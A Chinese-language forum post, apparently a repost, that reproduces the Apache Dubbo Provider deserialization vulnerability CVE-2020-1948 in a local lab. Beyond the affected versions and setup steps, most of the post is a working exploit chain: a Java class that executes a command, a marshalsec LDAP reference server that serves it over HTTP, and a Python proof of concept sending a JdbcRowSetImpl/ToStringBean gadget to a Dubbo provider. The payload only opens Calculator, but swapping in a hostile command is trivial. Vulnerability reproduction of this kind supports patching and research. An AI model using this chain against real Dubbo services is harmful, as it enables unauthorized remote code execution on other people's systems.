標題:Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)

taibeihacker

Moderator

Apache Dubbo Provider反序列化漏洞(CVE-2020-1948)​

Apache Dubbo Provider 存在反序列化漏洞,攻擊者可以通過RPC 請求發送無法識別的服務名稱或方法名稱以及一些惡意參數有效載荷,當惡意參數被反序列化時,可以造成遠程代碼執行。

影响版本​

Dubbo 2.7.0 - 2.7.6
Dubbo 2.6.0 - 2.6.7
Dubbo 2.5.x (官方不再維護)

环境搭建​

復現環境:
MAC
Dubbo 2.5.9
JDK 8U20
環境下載地址:
將下載的環境導入到IDEA 中:
20200702085332.png-water_print

mac 下安裝zookeeper:
1
2
brew install zookeeper
brew services start zookeeper
修改Provider.java 文件,指定Spring 加載配置文件的方式:
ClassPathXmlApplicationContext context=new ClassPathXmlApplicationContext('file:/Volumes/MacOS/WorkSpace/JAVA/dubbo-poc/DubboModules/src/resources/provider.xml') ;
修改Consumer.java 文件,指定Spring 加載配置文件的方式:
ClassPathXmlApplicationContext context=new ClassPathXmlApplicationContext('file:/Volumes/MacOS/WorkSpace/JAVA/dubbo-poc/dubboconsumer/resources/consumer.xml') ;
運行Provider.java:
20200702085823.png-water_print

編譯ExportObject.java
1
2
3
4
5
6
7
8
9
10
11
12
13
public class ExportObject {
public ExportObject() throws Exception {
try {
java.lang.Runtime.getRuntime().exec('open /System/Applications/Calculator.app');
} catch (java.io.IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) throws Exception {
ExportObject e=new ExportObject();
}
}
1
javac ExportObject.java
注意:此處要用相同版本或低版本的JDK 進行編譯,否則反序列化失敗。
啟動LDAP 服務:
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://127.0.0.1:8000/#ExportObject' 8087
20200702090230.png-water_print

啟動HTTP 服務:
1
python3 -m http.server
20200702090353.png-water_print

運行consumer.java,反序列化:
20200702090516.png-water_print

發現可以成功彈出計算器。
使用poc 進行測試:
使用前先pip install dubbo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient
client=DubboClient('127.0.0.1', 20881)
JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource='ldap://127.0.0.1:8087/#ExportObject',
strMatchColumns=['foo']
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name='com.sun.rowset.JdbcRowSetImpl',
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)
resp=client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
method_name='rce',
args=[toStringBean])
 
返回
上方